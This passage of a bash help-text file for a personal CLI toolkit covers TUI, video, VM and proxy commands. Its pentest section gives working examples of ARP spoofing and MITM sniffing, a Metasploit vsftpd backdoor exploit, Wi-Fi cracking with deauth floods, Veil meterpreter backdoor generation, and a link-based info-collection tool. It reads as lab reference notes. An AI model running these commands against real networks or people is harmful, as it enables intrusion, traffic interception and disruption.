"%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_calendar_usage() { printf "dtools tui misc calendar - View your calendars in the terminal (calcure)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc calendar\n" printf " dtools tui misc calendar --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_piano_usage() { printf "dtools tui misc piano - A piano in your terminal (upiano)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc piano\n" printf " dtools tui misc piano --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_servarr_usage() { printf "dtools tui misc servarr - A TUI and CLI for managing *arr servers (managarr)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc servarr\n" printf " dtools tui misc servarr --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_sandbox_usage() { printf "dtools tui sandbox - TUIs for sandboxing applications or experimentation\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui sandbox COMMAND\n" printf " dtools tui sandbox [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Visual jq query editor\n" "$(green "jqp") " printf " %s A visual Sed IDE to help demystify SED scripts (desed)\n" "$(green "desed") " printf " %s A Visual sandbox for experimenting with sed, awk, and grep (play)\n" "$(green "play") " printf " %s A Regex 101-like tool (regect)\n" "$(green "regect")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_sandbox_jqp_usage() { printf "dtools tui sandbox jqp - Visual jq query editor\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui sandbox jqp JSON_FILE\n" printf " dtools tui sandbox jqp --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "JSON_FILE")" printf " The JSON file to perform jq queries against\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools tui sandbox jqp ~/test.json\n" echo fi } dtools_tui_sandbox_desed_usage() { printf "dtools tui sandbox desed - A visual Sed IDE to help demystify SED scripts (desed)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui sandbox desed\n" printf " dtools tui sandbox desed --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_sandbox_play_usage() { printf "dtools tui sandbox play - A Visual sandbox for experimenting with sed, awk, and grep (play)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui sandbox play PROGRAM\n" printf " dtools tui sandbox play --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "PROGRAM")" printf " The program you want to play with\n" printf " %s\n" "Allowed: sed, awk, grep" echo fi } dtools_tui_sandbox_regect_usage() { printf "dtools tui sandbox regect - A Regex 101-like tool (regect)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui sandbox regect\n" printf " dtools tui sandbox regect --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_ai_usage() { printf "dtools tui ai - TUIs for AI related tooling\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui ai COMMAND\n" printf " dtools tui ai [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s A TUI for interacting with LLMs\n" "$(green "elia")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_ai_elia_usage() { printf "dtools tui ai elia - A TUI for interacting with LLMs\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui ai elia\n" printf " dtools tui ai elia --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_pentest_usage() { printf "dtools pentest - Pentest commands (Documentation only)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools pentest COMMAND\n" printf " dtools pentest [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s A social engineering strategy planning and reconnaissance tool\n" "$(green "maltego") " printf " %s View and modify interfaces (Debian-based OSes only)\n" "$(green "ifconfig") " printf " %s Scan the network for devices (Debian-based OSes only)\n" "$(green "netdiscover") " printf " %s Map the network\n" "$(green "nmap") " printf " %s Perform arp poisoning (Debian-based OSes only)\n" "$(green "arpspoof") " printf " %s Analyze network data\n" "$(green "bettercap") " printf " %s Metasploit Framework for executing known exploits against targets\n" "$(green "msfconsole") " printf " %s Wireless network password cracking\n" "$(green "aircrack-ng") " printf " %s Generate brute-force passwords wordlist with some constraints. Useful if you have some idea of what the password is already.\n" "$(green "crunch") " printf " %s Generate backdoor binaries using known exploits\n" "$(green "veil") " printf " %s Free public load balancing to direct traffic to your local system\n" "$(green "ngrok") " printf " %s Generates links to a locally hosted website to collect user info\n" "$(green "storm-breaker")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_pentest_maltego_usage() { printf "dtools pentest maltego - A social engineering strategy planning and reconnaissance tool\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools pentest maltego\n" printf " dtools pentest maltego --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_pentest_ifconfig_usage() { printf "dtools pentest ifconfig - View and modify interfaces (Debian-based OSes only)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools pentest ifconfig\n" printf " dtools pentest ifconfig --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " # Change local MAC\n ifconfig wlan0 down && ifconfig wlan0 hw ether 00:11:22:33:44:55\n" printf " # Set wlan0 to monitor mode\n ifconfig wlan0 down && ifconfig wlan0 mode monitor\n" echo fi } dtools_pentest_netdiscover_usage() { printf "dtools pentest netdiscover - Scan the network for devices (Debian-based OSes only)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools pentest netdiscover\n" printf " dtools pentest netdiscover --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " netdiscover -i eth0 -r 10.0.2.0/24 -c 10\n" echo fi } dtools_pentest_nmap_usage() { printf "dtools pentest nmap - Map the network\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools pentest nmap\n" printf " dtools pentest nmap --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " nmap 10.0.2.0/24\n" printf " # Scan target host for open ports\n # and services\n nmap -v -sS -A -T4 10.0.2.15\n" echo fi } dtools_pentest_arpspoof_usage() { printf "dtools pentest arpspoof - Perform arp poisoning (Debian-based OSes only)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools pentest arpspoof\n" printf " dtools pentest arpspoof --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " # Tell the target that we are the router\n arpspoof -i eth0 -t 10.0.2.6 10.0.2.1\n" printf " # Tell the router that we are the target\n arpspoof -i eth0 -t 10.0.2.1 10.0.2.6\n" echo fi } dtools_pentest_bettercap_usage() { printf "dtools pentest bettercap - Analyze network data\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools pentest bettercap\n" printf " dtools pentest bettercap --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " # MITM attack\n sudo bettercap wlp2s0\n set arp.spoof.fullduplex true\n set arp.spoof.internal true\n set arp.spoof.targets 10.0.2.6\n arp.spoof on\n net.sniff on # Sniff packets\n" echo fi } dtools_pentest_msfconsole_usage() { printf "dtools pentest msfconsole - Metasploit Framework for executing known exploits against targets\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools pentest msfconsole\n" printf " dtools pentest msfconsole --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " # Exploit FTP 2.3.4 backdoor\n msfconsole\n use exploit/unix/ftp/vsftpd_234_backdoor\n show options\n set rhosts 192.168.0.105\n show targets\n set target 0\n exploit -j -z\n sessions -l\n sessions 1\n background\n" echo fi } dtools_pentest_aircrack_ng_usage() { printf "dtools pentest aircrack-ng - Wireless network password cracking\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools pentest aircrack-ng\n" printf " dtools pentest aircrack-ng --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " airmon-ng start wlan0 # Set wlan0 to monitor mode\n airodump-ng wlan0 # Gather data to find target\n airodump-ng --channel 12 --bssid 00:11:22:33:44:55 --write airodump_dump mon0\n # Gather data for specific target network\n \n # WPA\n aircrack-ng airodump_dump.cap -w wordlist.txt\n \n # WEP\n aircrack-ng airodump_dump.cap\n aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h 22:44:66:88:00:BB # Not\n enough IV's? Fake authentication with network\n aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h 22:44:66:88:00:BB # Then\n replay ARPs to gather more IV's\n \n # DOS\n aireplay-ng --deauth 10000 -a 00:11:22:33:44:55 mon0 # Force network-wide\n deauth to trigger a handshake you can capture\n aireplay-ng --deauth 1000 -a 00:11:22:33:44:55 -c 22:44:66:88:00:11 mon0 #\n Force a deauth against a specific client on network to capture handshake\n" echo fi } dtools_pentest_crunch_usage() { printf "dtools pentest crunch - Generate brute-force passwords wordlist with some constraints. Useful if you have some idea of what the password is already.\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools pentest crunch\n" printf " dtools pentest crunch --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " crunch 6 6 0123456789abcdef -o wordlist.txt\n" echo fi } dtools_pentest_veil_usage() { printf "dtools pentest veil - Generate backdoor binaries using known exploits\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools pentest veil\n" printf " dtools pentest veil --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " # Create a meterpreter TCP backdoor\n cd /opt/Veil && python3 Veil.py\n use 1\n list\n use 7\n set LHOST 10.0.2.4\n generate\n" echo fi } dtools_pentest_ngrok_usage() { printf "dtools pentest ngrok - Free public load balancing to direct traffic to your local system\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools pentest ngrok\n" printf " dtools pentest ngrok --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " # Start an ngrok LB pointing to localhost:2525\n ngrok http 2525\n" echo fi } dtools_pentest_storm_breaker_usage() { printf "dtools pentest storm-breaker - Generates links to a locally hosted website to collect user info\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools pentest storm-breaker\n" printf " dtools pentest storm-breaker --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " cd /opt/Storm-Breaker && sudo python3 st.py\n" echo fi } dtools_video_usage() { printf "dtools video - Video commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools video COMMAND\n" printf " dtools video [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Rip the audio from a video file.\n" "$(green "rip-audio") " printf " %s Download YouTube videos\n" "$(green "youtube") " printf " %s Automatically detect and split scenes in the specified video file\n" "$(green "split-scenes")" printf " %s Get the duration of a video file\n" "$(green "duration") " printf " %s Boost the audio of the specified video file\n" "$(green "boost-audio") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_video_rip_audio_usage() { printf "dtools video rip-audio - Rip the audio from a video file.\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools video rip-audio VIDEO_FILE [OPTIONS]\n" printf " dtools video rip-audio --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--title TITLE")" printf " The title of the track to add to metadata.\n This defaults to being the same as the name of the output file.\n" echo printf " %s\n" "$(magenta "--output-file OUTPUT_FILE (required)")" printf " The name of the output file (excluding the file extension).\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "VIDEO_FILE")" printf " The video file to rip audio from\n" echo fi } dtools_video_youtube_usage() { printf "dtools video youtube - Download YouTube videos\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools video youtube URL [OPTIONS]\n" printf " dtools video youtube --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--audio-only")" printf " Download only the audio from a YouTube video\n" echo printf " %s\n" "$(magenta "--playlist")" printf " Indicates that the specified URL is a playlist\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "URL")" printf " The URL of the video you wish to download\n" echo fi } dtools_video_split_scenes_usage() { printf "dtools video split-scenes - Automatically detect and split scenes in the specified video file\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools video split-scenes VIDEO_FILE [OPTIONS]\n" printf " dtools video split-scenes --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--content-threshold CONTENT_THRESHOLD")" printf " The threshold for content detection\n" printf " %s\n" "Default: 130" echo printf " %s\n" "$(magenta "--fade-threshold FADE_THRESHOLD")" printf " The threshold for fade in/out detection\n" printf " %s\n" "Default: 5" echo printf " %s\n" "$(magenta "--keep-duration KEEP_DURATION")" printf " The duration in seconds that a video file must be in order to be kept after\n splitting\n" printf " %s\n" "Default: 8" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "VIDEO_FILE")" printf " The video file to detect scenes in and to split into separate video files\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools split-scenes file.mp4 --content-threshold 132 --fade-threshold 2\n" printf " dtools split-scenes file.mp4 --content-threshold 130 --fade-threshold 5\n" printf " dtools split-scenes file.mp4 --content-threshold 95 --fade-threshold 15\n" printf " dtools split-scenes file.mp4 --content-threshold 115 --fade-threshold 15\n" echo fi } dtools_video_duration_usage() { printf "dtools video duration - Get the duration of a video file\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools video duration VIDEO_FILE\n" printf " dtools video duration --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "VIDEO_FILE")" printf " The video file to get the duration of\n" echo fi } dtools_video_boost_audio_usage() { printf "dtools video boost-audio - Boost the audio of the specified video file\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools video boost-audio VIDEO_FILE [OPTIONS]\n" printf " dtools video boost-audio --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--multiplier MULTIPLIER")" printf " The amount to multiply the audio value by\n" printf " %s\n" "Default: 2.0" echo printf " %s\n" "$(magenta "--output-file OUTPUT_FILE (required)")" printf " Specify the output file name (including the file extension)\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "VIDEO_FILE")" printf " The video file whose audio you want to boost\n" echo fi } dtools_vm_usage() { printf "dtools vm - Virtual Machine commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools vm COMMAND\n" printf " dtools vm [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Start a windows VM and then open a FreeRDP session to the container. The web version is also available at http://localhost:8006\n" "$(green "windows")" printf " %s Start a Linux VM that's available at http://localhost:8006 and via SSH on port 2222\n" "$(green "linux") " printf " %s Start a MacOS VM that's available at http://localhost:8006\n" "$(green "mac") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_vm_windows_usage() { printf "dtools vm windows - Start a windows VM and then open a FreeRDP session to the container. The web version is also available at http://localhost:8006\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools vm windows [OPTIONS]\n" printf " dtools vm windows --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" printf " Specify the persistence directory ($HOME/.vm/windows/) to load/wipe the\n VM from.\n Defaults to the version (e.g. $HOME/.vm/windows/11)\n" printf " %s\n" "Needs: --persistent" echo printf " %s\n" "$(magenta "--persistent")" printf " Persist the VM data to disk (persists to $HOME/.vm/windows)\n" echo printf " %s\n" "$(magenta "--wipe-persistent-data")" printf " Wipe any data persisted between sessions for the given Windows version\n" echo printf " %s\n" "$(magenta "--disk-size DISK_SIZE")" printf " The disk size of the VM's drive in GB\n" printf " %s\n" "Default: 64" echo printf " %s\n" "$(magenta "--ram-size RAM_SIZE")" printf " The RAM size of the VM's RAM in GB\n" printf " %s\n" "Default: 4" echo printf " %s\n" "$(magenta "--cpu-cores CPU_CORES")" printf " The number of CPU cores the VM is allowed to use\n" printf " %s\n" "Default: 2" echo printf " %s\n" "$(magenta "--share-directory SHARE_DIRECTORY")" printf " The directory to share with the VM (In Windows, this is the Network#host.lan\n machine)\n" printf " %s\n" "Default: ." echo printf " %s\n" "$(magenta "--version VERSION")" printf " The version of Windows to start\n" printf " %s\n" "Allowed: 11, 11l, 11e, 10, 10l, 10e, 8e, 7e, ve, xp, 2025, 2022, 2019, 2016, 2012, 2008, 2003" printf " %s\n" "Default: 11" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_vm_linux_usage() { printf "dtools vm linux - Start a Linux VM that's available at http://localhost:8006 and via SSH on port 2222\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools vm linux [OPTIONS]\n" printf " dtools vm linux --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" printf " Specify the persistence directory ($HOME/.vm/linux/) to load/wipe the\n VM from.\n Defaults to the image (e.g. $HOME/.vm/linux/ubuntu)\n" printf " %s\n" "Needs: --persistent" echo printf " %s\n" "$(magenta "--persistent")" printf " Persist the VM data to disk (persists to $HOME/.vm/linux)\n" echo printf " %s\n" "$(magenta "--wipe-persistent-data")" printf " Wipe any data persisted between sessions for the given Linux version\n" echo printf " %s\n" "$(magenta "--no-gui")" printf " Do not start a VNC connection to the image\n" printf " %s\n" "Conflicts: --use-rdp" echo printf " %s\n" "$(magenta "--use-rdp")" printf " Start an RDP connection to the container once it starts (Assumes an RDP\n server runs at start in the container)\n" printf " %s\n" "Conflicts: --no-gui" echo printf " %s\n" "$(magenta "--rdp-user RDP_USER")" printf " Specify the RDP user to use when connecting to the container\n" printf " %s\n" "Default: $USER" printf " %s\n" "Needs: --use-rdp" echo printf " %s\n" "$(magenta "--rdp-password RDP_PASSWORD")" printf " Specify the RDP password to use when connecting to the container\n" printf " %s\n" "Default: admin" printf " %s\n" "Needs: --use-rdp" echo printf " %s\n" "$(magenta "--disk-size DISK_SIZE")" printf " The disk size of the VM's drive in GB\n" printf " %s\n" "Default: 128" echo printf " %s\n" "$(magenta "--ram-size RAM_SIZE")" printf " The RAM size of the VM's RAM in GB\n" printf " %s\n" "Default: 8" echo printf " %s\n" "$(magenta "--cpu-cores CPU_CORES")" printf " The number of CPU cores the VM is allowed to use\n" printf " %s\n" "Default: 4" echo printf " %s\n" "$(magenta "--share-directory SHARE_DIRECTORY")" printf " The directory to share with the VM (Access by running 'mount -t 9p -o\n trans=virtio shared /mnt/shared' in the container)\n" printf " %s\n" "Default: ." echo printf " %s\n" "$(magenta "--dist DISTRIBUTION")" printf " The Linux distribution to start\n" printf " %s\n" "Allowed: alma, alpine, arch, cachy, centos, debian, fedora, gentoo, kali, kubuntu, mint, manjaro, mx, nixos, suse, oracle, rocky, slack, tails, ubuntu, ubuntus, xubuntu" printf " %s\n" "Conflicts: --image-url" echo printf " %s\n" "$(magenta "--image-url IMAGE_URL")" printf " Boot using a custom image at the specified URL.\n Supported formats are:\n \n .img\n .raw\n .iso\n .qcow2\n .vmdk\n .vhd\n .vhdx\n .vdi\n \n It will also accept files such as .img.gz, .qcow2.xz, .iso.zip, and many\n more because it will automatically extract compressed files\n" printf " %s\n" "Conflicts: --dist" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_vm_mac_usage() { printf "dtools vm mac - Start a MacOS VM that's available at http://localhost:8006\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools vm mac [OPTIONS]\n" printf " dtools vm mac --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--persistent-dir-prefix PERSISTENT_DIR_PREFIX")" printf " Specify the persistence directory ($HOME/.vm/mac/) to load/wipe the VM\n from.\n Defaults to the version (e.g. $HOME/.vm/mac/15)\n" printf " %s\n" "Needs: --persistent" echo printf " %s\n" "$(magenta "--persistent")" printf " Persist the VM data to disk (persists to $HOME/.vm/mac)\n" echo printf " %s\n" "$(magenta "--wipe-persistent-data")" printf " Wipe any data persisted between sessions for the given Mac version\n" echo printf " %s\n" "$(magenta "--disk-size DISK_SIZE")" printf " The disk size of the VM's drive in GB\n" printf " %s\n" "Default: 64" echo printf " %s\n" "$(magenta "--ram-size RAM_SIZE")" printf " The RAM size of the VM's RAM in GB\n" printf " %s\n" "Default: 4" echo printf " %s\n" "$(magenta "--cpu-cores CPU_CORES")" printf " The number of CPU cores the VM is allowed to use\n" printf " %s\n" "Default: 2" echo printf " %s\n" "$(magenta "--share-directory SHARE_DIRECTORY")" printf " The directory to share with the VM (Access by running 'mount -S mount_9p\n shared' in the container; Then it's available under Finder -> Go ->\n Computer)\n" printf " %s\n" "Default: ." echo printf " %s\n" "$(magenta "--version VERSION")" printf " The version of MacOS to start\n" printf " %s\n" "Allowed: 15, 14, 13, 12, 11" printf " %s\n" "Default: 13" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_network_usage() { printf "dtools network - Network commands\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools network COMMAND\n" printf " dtools network [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Generate a self-signed HTTPS certificate for use in testing\n" "$(green "generate-self-signed-certificate")" printf " %s Proxy HTTPS traffic\n" "$(green "https-proxy") " printf " %s Proxy all TCP traffic with simpleproxy (Debian-based systems only)\n" "$(green "tcp-proxy") " printf " %s Proxy all HTTP and HTTPS requests locally to a remote server using Nginx.\n" "$(green "proxy-with-nginx") " printf " %s Start a Man-in-the-Middle (MITM) proxy to intercept and log all requests\n" "$(green "mitm-proxy") " printf " %s Download an archive an entire website for offline viewing via Kiwix and .zim formats using OpenZim's zimit\n" "$(green "archive-website") " printf " %s Convert a WARC to ZIM format for easier offline viewing using OpenZim's zimit\n" "$(green "warc-2-zim") " printf " %s Start a local API to generate Mermaid diagrams\n" "$(green "mermaid-api") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_network_generate_self_signed_certificate_usage() { printf "dtools network generate-self-signed-certificate - Generate a self-signed HTTPS certificate for use in testing\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools network generate-self-signed-certificate [OPTIONS]\n" printf " dtools network generate-self-signed-certificate --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--output OUTPUT (required)")" printf " The file to write the certificate to\n" echo printf " %s\n" "$(magenta "--key-output KEY_OUTPUT (required)")" printf " The output file to write the key to\n" echo printf " %s\n" "$(magenta "--hostname HOSTNAME")" printf " The hostname that the certificate should be created to work with\n" printf " %s\n" "Default: localhost" echo printf " %s\n" "$(magenta "--pfx-output PFX_OUTPUT")" printf " Output a pfx file as well\n" printf " %s\n" "Default: false" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools network generate-self-signed-certificate --output /etc/dtools/test.csr\n --key-output /etc/dtools/test.key\n" printf " # Both in one file\n dtools network generate-self-signed-certificate --output /etc/dtools/test.pem\n --key-output /etc/dtools/test.pem\n" printf " # Create a pfx file for Radarr\n dtools network generate-self-signed-certificate --output /etc/dtools/test.crt\n --key-output /etc/dtools/test.key --hostname 192.168.0.105 --output-pfx\n /etc/dtools/test.pfx\n" echo fi } dtools_network_https_proxy_usage() { printf "dtools network https-proxy - Proxy HTTPS traffic\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools network https-proxy [OPTIONS]\n" printf " dtools network https-proxy --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--https-port HTTPS_PORT")" printf " The https port to proxy\n" printf " %s\n" "Default: 443" echo printf " %s\n" "$(magenta "--proxy-target-host PROXY_TARGET_HOST")" printf " The target host to redirect all https traffic to\n" printf " %s\n" "Default: localhost" echo printf " %s\n" "$(magenta "--proxy-target-port PROXY_TARGET_PORT (required)")" printf " The port on the target host to send all https traffic to\n" echo printf " %s\n" "$(magenta "--ssl-certificate SSL_CERTIFICATE")" printf " The SSL certificate to use\n" printf " %s\n" "Default: /etc/devtools/dtools.pem" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_network_tcp_proxy_usage() { printf "dtools network tcp-proxy - Proxy all TCP traffic with simpleproxy (Debian-based systems only)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools network tcp-proxy [OPTIONS]\n" printf " dtools network tcp-proxy --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--tcp-host TCP_HOST")" printf " The host to listen on\n" printf " %s\n" "Default: 0.0.0.0" echo printf " %s\n" "$(magenta "--tcp-port TCP_PORT (required)")" printf " The TCP port to listen on\n" echo printf " %s\n" "$(magenta "--proxy-target-host PROXY_TARGET_HOST")" printf " The target host to redirect all TCP traffic to\n" printf " %s\n" "Default: localhost" echo printf " %s\n" "$(magenta "--proxy-target-port PROXY_TARGET_PORT (required)")" printf " The target port on the target host to redirect all TCP traffic to\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " dtools network tcp-proxy --tcp-host 192.168.0.253 --tcp-port 5432\n --proxy-target-host localhost --proxy-target-port 5433\n" echo fi } dtools_network_proxy_with_nginx_usage() { if [[ -n $long_usage ]]; then printf "dtools network proxy-with-nginx\n\n" printf " Proxy all HTTP and HTTPS requests locally to a remote server using Nginx.\n This is useful when trying to proxy a remote HTTPS API that requires a\n specific certificate or hostname.\n\n" else printf "dtools network proxy-with-nginx - Proxy all HTTP and HTTPS requests locally to a remote server using Nginx.\n\n" fi printf "%s\n" "$(bold "Usage:")" printf " dtools network proxy-with-nginx [OPTIONS]\n" printf " dtools network proxy-with-nginx --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--tcp-port TCP_PORT")" printf " The TCP port to listen on\n" printf " %s\n" "Default: 8080" echo printf " %s\n" 